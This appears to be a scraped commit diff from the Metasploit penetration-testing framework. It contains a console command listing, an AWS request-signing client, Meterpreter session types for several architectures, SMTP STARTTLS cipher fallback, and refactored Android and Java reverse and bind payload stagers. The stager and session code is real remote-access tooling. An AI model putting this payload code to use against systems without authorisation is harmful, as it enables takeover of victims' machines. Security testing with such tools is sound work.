advanced Displays advanced options for one or more modules
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
info Displays information about one or more modules
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sess Interact with a given session
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers
Module Commands
===============
Command Description
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
edit Edit the current module with $VISUAL or $EDITOR
info Displays information about one or more modules
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Selects a module by name
Job Commands
============
Command Description
------- -----------
handler Start a payload handler as job
jobs Displays and manages jobs
kill Kill a job
rename_job Rename a job
Resource Script Commands
========================
Command Description
------- -----------
makerc Save commands entered since start to a file
resource Run the commands stored in a file
Database Backend Commands
=========================
+180
View File
@@ -0,0 +1,180 @@
require 'openssl'
module Metasploit
module Framework
module Aws
module Client
USER_AGENT = "aws-sdk-ruby2/2.6.27 ruby/2.3.2 x86_64-darwin15"
include Msf::Exploit::Remote::HttpClient
# because Post modules require these to be defined when including HttpClient
def register_autofilter_ports(ports=[]); end
def register_autofilter_hosts(ports=[]); end
def register_autofilter_services(services=[]); end
def hexdigest(value)
if value.nil? || !value.instance_of?(String)
print_error "Unexpected value format"
return nil
end
digest = OpenSSL::Digest::SHA256.new
if value.respond_to?(:read)
chunk = nil
chunk_size = 1024 * 1024 # 1 megabyte
digest.update(chunk) while chunk = value.read(chunk_size)
value.rewind
else
digest.update(value)
end
digest.hexdigest
end
def hmac(key, value)
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
print_error "Unexpected key/value format"
return nil
end
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, value)
end
def hexhmac(key, value)
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
print_error "Unexpected key/value format"
return nil
end
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, value)
end
def request_to_sign(headers, body_digest)
if headers.nil? || !headers.instance_of?(Hash) || body_digest.nil? || !body_digest.instance_of?(String)
return nil, nil
end
headers_block = headers.sort_by(&:first).map do |k, v|
v = "#{v},#{v}" if k == 'Host'
"#{k.downcase}:#{v}"
end.join("\n")
headers_list = headers.keys.sort.map(&:downcase).join(';')
flat_request = [ "POST", "/", '', headers_block + "\n", headers_list, body_digest].join("\n")
[headers_list, flat_request]
end
def sign(creds, service, headers, body_digest, now)
date_mac = hmac("AWS4" + creds.fetch('SecretAccessKey'), now[0, 8])
region_mac = hmac(date_mac, datastore['Region'])
service_mac = hmac(region_mac, service)
credentials_mac = hmac(service_mac, 'aws4_request')
headers_list, flat_request = request_to_sign(headers, body_digest)
doc = "AWS4-HMAC-SHA256\n#{now}\n#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request\n#{hexdigest(flat_request)}"
signature = hexhmac(credentials_mac, doc)
[headers_list, signature]
end
def auth(creds, service, headers, body_digest, now)
headers_list, signature = sign(creds, service, headers, body_digest, now)
"AWS4-HMAC-SHA256 Credential=#{creds.fetch('AccessKeyId')}/#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request, SignedHeaders=#{headers_list}, Signature=#{signature}"
end
def body(vars_post)
pstr = ""
vars_post.each_pair do |var, val|
pstr << '&' unless pstr.empty?
pstr << var
pstr << '='
pstr << val
end
pstr
end
def headers(creds, service, body_digest, now = nil)
now = Time.now.utc.strftime("%Y%m%dT%H%M%SZ") if now.nil?
headers = {
'Content-Type' => 'application/x-www-form-urlencoded; charset=utf-8',
'Accept-Encoding' => '',
'User-Agent' => USER_AGENT,
'X-Amz-Date' => now,
'Host' => datastore['RHOST'],
'X-Amz-Content-Sha256' => body_digest,
'Accept' => '*/*'
}
headers['X-Amz-Security-Token'] = creds['Token'] if creds['Token']
sign_headers = ['Content-Type', 'Host', 'User-Agent', 'X-Amz-Content-Sha256', 'X-Amz-Date']
auth_headers = headers.select { |k, _| sign_headers.include?(k) }
headers['Authorization'] = auth(creds, service, auth_headers, body_digest, now)
headers
end
def print_hsh(hsh)
return if hsh.nil? || !hsh.instance_of?(Hash)
hsh.each do |key, value|
vprint_status "#{key}: #{value}"
end
end
def print_results(doc, action)
response = "#{action}Response"
result = "#{action}Result"
resource = /[A-Z][a-z]+([A-Za-z]+)/.match(action)[1]
if doc["ErrorResponse"] && doc["ErrorResponse"]["Error"]
print_error doc["ErrorResponse"]["Error"]["Message"]
return nil
end
idoc = doc.fetch(response)
if idoc.nil? || !idoc.instance_of?(Hash)
print_error "Unexpected response structure"
return {}
end
idoc = idoc[result] if idoc[result]
idoc = idoc[resource] if idoc[resource]
if idoc["member"]
idoc["member"].each do |x|
print_hsh x
end
else
print_hsh idoc
end
idoc
end
def call_api(creds, service, api_params)
vprint_status("Connecting (#{datastore['RHOST']})...")
body = body(api_params)
body_length = body.length
body_digest = hexdigest(body)
begin
res = send_request_raw(
'method' => 'POST',
'data' => body,
'headers' => headers(creds, service, body_digest)
)
if res.nil?
print_error "#{peer} did not respond"
else
Hash.from_xml(res.body)
end
rescue => e
print_error e.message
end
end
def call_iam(creds, api_params)
api_params['Version'] = '2010-05-08' unless api_params['Version']
call_api(creds, 'iam', api_params)
end
def call_ec2(creds, api_params)
api_params['Version'] = '2015-10-01' unless api_params['Version']
call_api(creds, 'ec2', api_params)
end
def call_sts(creds, api_params)
api_params['Version'] = '2011-06-15' unless api_params['Version']
call_api(creds, 'sts', api_params)
end
end
end
end
end
@@ -203,6 +203,8 @@ module Metasploit
status = case e.get_error(e.error_code)
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
Metasploit::Model::Login::Status::DENIED_ACCESS
when 'STATUS_ACCOUNT_LOCKED_OUT'
Metasploit::Model::Login::Status::LOCKED_OUT
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
Metasploit::Model::Login::Status::INCORRECT
else
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.13.4"
VERSION = "4.13.7"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_aarch64_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_AARCH64
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_armbe_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_ARMBE
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_mips64_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_MIPS64
end
end
end
end
@@ -0,0 +1,50 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-independent meterpreter session type
#
###
class Meterpreter_Multi < Msf::Sessions::Meterpreter
def initialize(rstream, opts={})
super
self.base_platform = 'multi'
self.base_arch = ARCH_ANY
end
def self.create_session(rstream, opts={})
# TODO: fill in more cases here
case opts[:payload_uuid].platform
when 'python'
require 'msf/base/sessions/meterpreter_python'
return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts)
when 'java'
require 'msf/base/sessions/meterpreter_java'
return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)
when 'android'
require 'msf/base/sessions/meterpreter_android'
return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
when 'php'
require 'msf/base/sessions/meterpreter_php'
return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)
when 'windows'
if opts[:payload_uuid].arch == ARCH_X86
require 'msf/base/sessions/meterpreter_x86_win'
return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts)
end
require 'msf/base/sessions/meterpreter_x64_win'
return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts)
end
# TODO: what should we do when we get here?
end
end
end
end
+1 -3
View File
@@ -67,9 +67,7 @@ module MeterpreterOptions
end
if session.platform == 'android'
if datastore['AutoLoadAndroid']
session.load_android
end
session.load_android
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_ppc64le_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_PPC64LE
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_ppc_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_PPC
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_zarch_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_ZARCH
end
end
end
end
+22
View File
@@ -0,0 +1,22 @@
# -*- coding: binary -*-
require 'msf/core/payload/transport_config'
require 'base64'
module Msf
module Sessions
module MettleConfig
include Msf::Payload::TransportConfig
def generate_config(opts={})
transport = transport_config_reverse_tcp(opts)
opts[:uuid] ||= generate_payload_uuid
opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip
opts[:uri] ||= "#{transport[:scheme]}://#{transport[:lhost]}:#{transport[:lport]}"
opts.slice(:uuid, :uri, :debug, :log_file)
end
end
end
end
+1 -1
View File
@@ -323,7 +323,7 @@ module Msf
multi_handler.datastore['PAYLOAD'] = payload_name
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
%w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc
%w(DebugOptions PrependMigrate PrependMigrateProc
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
+37 -12
View File
@@ -71,20 +71,32 @@ module Exploit::Remote::SMTPDeliver
# This method currently only knows about PLAIN authentication.
#
def connect_login(global = true)
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
nsock = connect(global)
if datastore['DOMAIN'] and not datastore['DOMAIN'] == ''
if datastore['DOMAIN'] && datastore['DOMAIN'] != ''
domain = datastore['DOMAIN']
else
domain = Rex::Text.rand_text_alpha(rand(32)+1)
end
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
nsock, res = connect_ehlo(global, domain)
if res =~ /STARTTLS/
print_status("Starting tls")
raw_send_recv("STARTTLS\r\n", nsock)
swap_sock_plain_to_ssl(nsock)
[:high, :medium, :default].each do |level|
begin
swap_sock_plain_to_ssl(nsock, level)
break
rescue OpenSSL::SSL::SSLError
# Perform manual fallback for servers that can't
print_status 'Could not negotiate SSL, falling back to older ciphers'
nsock.close
nsock, res = connect_ehlo(global)
raw_send_recv("STARTTLS\r\n", nsock)
raise if level == :default
end
end
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
end
@@ -122,6 +134,12 @@ module Exploit::Remote::SMTPDeliver
return nsock
end
def connect_ehlo(global = true, domain)
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
nsock = connect(global)
[nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)]
end
#
# Sends an email message, connecting to the server first if a connection is
@@ -216,8 +234,8 @@ protected
# Create a new SSL session on the existing socket. Used for STARTTLS
# support.
#
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context()
def swap_sock_plain_to_ssl(nsock=self.sock, security=:high)
ctx = generate_ssl_context(security)
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
@@ -227,10 +245,17 @@ protected
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
ctx
def generate_ssl_context(security=:high)
case security
when :high
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
ctx
when :medium
OpenSSL::SSL::SSLContext.new(:TLSv1)
when :default
OpenSSL::SSL::SSLContext.new
end
end
end
+8 -1
View File
@@ -199,7 +199,14 @@ protected
# allocate a new session.
if (self.session)
begin
s = self.session.new(conn, opts)
# if there's a create_session method then use it, as this
# can form a factory for arb session types based on the
# payload.
if self.session.respond_to?('create_session')
s = self.session.create_session(conn, opts)
else
s = self.session.new(conn, opts)
end
rescue ::Exception => e
# We just wanna show and log the error, not trying to swallow it.
print_error("#{e.class} #{e.message}")
+19 -62
View File
@@ -317,77 +317,31 @@ protected
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
resp.body = pkt.to_r
when :init_python
print_status("Staging Python payload...")
when :init_python, :init_native, :init_java
# TODO: at some point we may normalise these three cases into just :init
url = payload_uri(req) + conn_id + '/'
blob = ""
blob << self.generate_stage(
http_url: url,
http_user_agent: datastore['MeterpreterUserAgent'],
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
uuid: uuid,
uri: conn_id
)
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when :init_java
print_status("Staging Java payload...")
url = payload_uri(req) + conn_id + "/\x00"
blob = self.generate_stage(
uuid: uuid,
uri: conn_id
)
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when :init_native
print_status("Staging Native payload...")
url = payload_uri(req) + conn_id + "/\x00"
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
uri = URI(payload_uri(req) + conn_id)
resp['Content-Type'] = 'application/octet-stream'
# TODO: does this have to happen just for windows, or can we set it for all?
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
begin
# generate the stage, but pass in the existing UUID and connection id so that
# we don't get new ones generated.
blob = self.generate_stage(
uuid: uuid,
uri: conn_id,
url: url,
uuid: uuid,
lhost: uri.host,
lport: uri.port
lport: uri.port,
uri: conn_id
)
resp.body = encode_stage(blob)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
@@ -414,11 +368,14 @@ protected
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url + "\x00",
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
+8
View File
@@ -536,4 +536,12 @@ class Msf::Module::Platform
Rank = 100
Alias = "mainframe"
end
#
# Multi (for wildcard-style platform functions)
#
class Multi < Msf::Module::Platform
Rank = 100
Alias = "multi"
end
end
+3
View File
@@ -32,6 +32,9 @@ class Payload < Msf::Module
require 'msf/core/payload/firefox'
require 'msf/core/payload/mainframe'
# Universal payload includes
require 'msf/core/payload/multi'
##
#
# Payload types
+17 -16
View File
@@ -24,41 +24,41 @@ module Msf::Payload::Android
# We could compile the .class files with dx here
#
def generate_stage(opts={})
''
end
def generate_default_stage(opts={})
''
end
#
# Used by stagers to construct the payload jar file as a String
#
def generate
generate_jar.pack
def generate(opts={})
generate_jar(opts).pack
end
def java_string(str)
[str.length].pack("N") + str
end
def apply_options(classes, opts)
config = generate_config_bytes(opts)
if opts[:stageless]
config[0] = "\x01"
end
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
end
def generate_config_bytes(opts={})
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
ds = opts[:datastore] || datastore
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: datastore['SessionExpirationTimeout'].to_i,
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)]
transports: opts[:transport_config] || [transport_config(opts)]
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
config.to_b
result = config.to_b
result[0] = "\x01" if opts[:stageless]
result
end
def string_sub(data, placeholder="", input="")
@@ -104,7 +104,8 @@ module Msf::Payload::Android
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
end
apply_options(classes, opts)
config = generate_config(opts)
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
jar = Rex::Zip::Jar.new
files = [
@@ -0,0 +1,56 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/base/sessions/meterpreter_options'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Common loader for Android payloads that make use of Meterpreter.
#
###
module Payload::Android::MeterpreterLoader
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
def initialize(info={})
super(update_info(info,
'Name' => 'Android Meterpreter & Configuration',
'Description' => 'Android-specific meterpreter generation',
'Author' => ['OJ Reeves'],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'PayloadCompat' => {'Convention' => 'http https'},
'Stage' => {'Payload' => ''}
))
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
def stage_meterpreter(opts={})
clazz = 'androidpayload.stage.Meterpreter'
metstage = MetasploitPayloads.read("android", "metstage.jar")
met = MetasploitPayloads.read("android", "meterpreter.jar")
# Name of the class to load from the stage, the actual jar to load
# it from, and then finally the meterpreter stage
blocks = [
java_string(clazz),
java_string(metstage),
java_string(met),
java_string(generate_config(opts))
]
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
end
end
end
@@ -0,0 +1,63 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Android that speaks HTTP(S)
#
###
module Payload::Android::ReverseHttp
include Msf::Payload::TransportConfig
include Msf::Payload::Android
include Msf::Payload::UUID::Options
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
def generate_config(opts={})
opts[:uri] ||= luri + generate_uri(opts)
super(opts)
end
#
# Generate the URI for the initial stager
#
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
end
generate_uri_uuid_mode(:init_java, uri_req_len)
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end
@@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/android/reverse_http'
module Msf
###
#
# Complex payload generation for Android that speaks HTTPS
#
###
module Payload::Android::ReverseHttps
include Msf::Payload::Android::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
end
end
@@ -0,0 +1,28 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
module Msf
###
#
# Complex payload generation for Android that speaks TCP
#
###
module Payload::Android::ReverseTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Android
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
end
end
+31 -19
View File
@@ -4,7 +4,7 @@ require 'msf/core'
module Msf::Payload::Java
#
# Used by stages; all java stages need to define +@stage_class_files+ as an
# Used by stages; all java stages need to define +stage_class_files+ as an
# array of .class files located in data/java/
#
# The staging protocol expects any number of class files, each prepended
@@ -15,8 +15,12 @@ module Msf::Payload::Java
# [ 32-bit null ]
#
def generate_stage(opts={})
generate_default_stage(opts)
end
def generate_default_stage(opts={})
stage = ''
@stage_class_files.each do |path|
stage_class_files.each do |path|
data = MetasploitPayloads.read('java', path)
stage << [data.length, data].pack('NA*')
end
@@ -28,15 +32,14 @@ module Msf::Payload::Java
#
# Used by stagers to construct the payload jar file as a String
#
def generate
generate_jar.pack
def generate(opts={})
generate_jar(opts).pack
end
#
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
# define a list of class files in @class_files which are pulled from the
# MetasploitPayloads gem. The configuration file is created by
# the payload's #config method.
# define a list of class files from the class_files method. The
# configuration file is created by the payload's #stager_config method.
#
# @option opts :main_class [String] the name of the Main-Class
# attribute in the manifest. Defaults to "metasploit.Payload"
@@ -44,18 +47,18 @@ module Msf::Payload::Java
# "metasploit" package name.
# @return [Rex::Zip::Jar]
def generate_jar(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
# Allow changing the jar's Main Class in the manifest so wrappers
# around metasploit.Payload will work.
main_class = opts[:main_class] || "metasploit.Payload"
paths = [
[ "metasploit", "Payload.class" ],
] + @class_files
] + class_files
jar = Rex::Zip::Jar.new
jar.add_sub("metasploit") if opts[:random]
jar.add_file("metasploit.dat", config)
jar.add_file("metasploit.dat", stager_config(opts))
jar.add_files(paths, MetasploitPayloads.path('java'))
jar.build_manifest(:main_class => main_class)
@@ -71,7 +74,7 @@ module Msf::Payload::Java
# web.xml. Defaults to random
#
def generate_war(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
zip = Rex::Zip::Jar.new
web_xml = %q{<?xml version="1.0"?>
@@ -96,27 +99,26 @@ module Msf::Payload::Java
paths = [
[ "metasploit", "Payload.class" ],
[ "metasploit", "PayloadServlet.class" ],
] + @class_files
] + class_files
zip.add_file('WEB-INF/', '')
zip.add_file('WEB-INF/web.xml', web_xml)
zip.add_file("WEB-INF/classes/", "")
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
zip.add_file("WEB-INF/classes/metasploit.dat", config)
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts))
zip
end
#
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
# Stagers define a list of class files in @class_files which are pulled
# from the MetasploitPayloads gem. The configuration file is created by
# the payload's #config method.
# Stagers define a list of class files returned via class_files. The
# configuration file is created by the payload's #stager_config method.
#
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
# @return [Rex::Zip::Jar]
def generate_axis2(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
@@ -132,16 +134,26 @@ module Msf::Payload::Java
paths = [
[ 'metasploit', 'Payload.class' ],
[ 'metasploit', 'PayloadServlet.class' ]
] + @class_files
] + class_files
zip = Rex::Zip::Jar.new
zip.add_file('META-INF/', '')
zip.add_file('META-INF/services.xml', services_xml)
zip.add_files(paths, MetasploitPayloads.path('java'))
zip.add_file('metasploit.dat', config)
zip.add_file('metasploit.dat', stager_config(opts))
zip.build_manifest(:app_name => app_name)
zip
end
# Default to no extra class files
def class_files
[]
end
# Default to no extra stage class files
def stage_class_files
[]
end
end
+74
View File
@@ -0,0 +1,74 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks TCP
#
###
module Payload::Java::BindTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_bind_tcp(opts)
end
def include_send_uuid
false
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
ds = opts[:datastore] || datastore
spawn = ds["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = ds["AESPassword"] || ''
if pass != ""
c << "AESPassword=#{pass}\n"
end
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
c
end
def class_files
# TODO: we should handle opts in class_files as well
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
[
["metasploit", "AESEncryption.class"],
]
else
[]
end
end
end
end
@@ -0,0 +1,102 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/base/sessions/meterpreter_options'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Common module stub for Java payloads that make use of Meterpreter.
#
###
module Payload::Java::MeterpreterLoader
include Msf::Payload::Java
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Java Meterpreter & Configuration',
'Description' => 'Java-specific meterpreter generation',
'Author' => ['OJ Reeves'],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' => {'Convention' => 'http https'},
'Stage' => {'Payload' => ''}
))
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
#
# Override the Payload::Java version so we can load a prebuilt jar to be
# used as the final stage; calls super to get the intermediate stager.
#
def stage_meterpreter(opts={})
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
config = generate_config(opts)
# All of the dependencies to create a jar loader, followed by the length
# of the jar and the jar itself, then the config
blocks = [
generate_default_stage(opts),
[met.length, met].pack('NA*'),
[config.length, config].pack('NA*')
]
# Deliberate off by 1 here. The call to super adds a null terminator
# so we would add 1 for the null terminate and remove one for the call
# to super.
block_count = blocks.length + stage_class_files.length
# Pack all the magic together
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
ds = opts[:datastore] || datastore
# create the configuration block, which for staged connections is really simple.
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)]
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_class_files
# Order matters. Classes can only reference classes that have already
# been sent. The last .class must implement Stage, i.e. have a start()
# method.
#
# The Meterpreter.class stage is just a jar loader, not really anything
# to do with meterpreter specifically. This payload should eventually
# be replaced with an actual meterpreter stage so we don't have to send
# a second jar.
[
[ "javapayload", "stage", "Stage.class" ],
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
# Must be last!
[ "javapayload", "stage", "Meterpreter.class" ],
]
end
end
end
+94
View File
@@ -0,0 +1,94 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks HTTP(S)
#
###
module Payload::Java::ReverseHttp
include Msf::Payload::TransportConfig
